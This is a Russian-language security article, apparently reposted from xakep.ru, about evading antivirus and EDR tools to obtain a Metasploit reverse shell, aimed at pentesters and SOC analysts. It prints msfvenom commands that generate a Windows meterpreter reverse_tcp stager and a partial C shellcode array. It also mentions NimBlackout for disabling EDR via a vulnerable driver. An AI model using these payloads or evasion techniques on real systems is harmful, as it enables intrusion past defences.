Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Антивирусы и системы EDR становятся всё навороченнее и даже используют машинное обучение для более точного детектирования. Но у авторов малвари по‑прежнему остаются способы обойти все проверки. В этой статье я покажу несколько техник и инструментов, которые применяют злоумышленники.
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.
Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe
Результаты проверки на VirusTotal
То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
«xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89»
«xe5x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26»
…
«x5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxff»
«xffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6a»
«x00x53xffxd5»;
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.
И конечно, по‑прежнему актуальны старые методы:
В общем, чем дальше, тем больше всяких проверок.
info
На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.
Источник: xakep.ru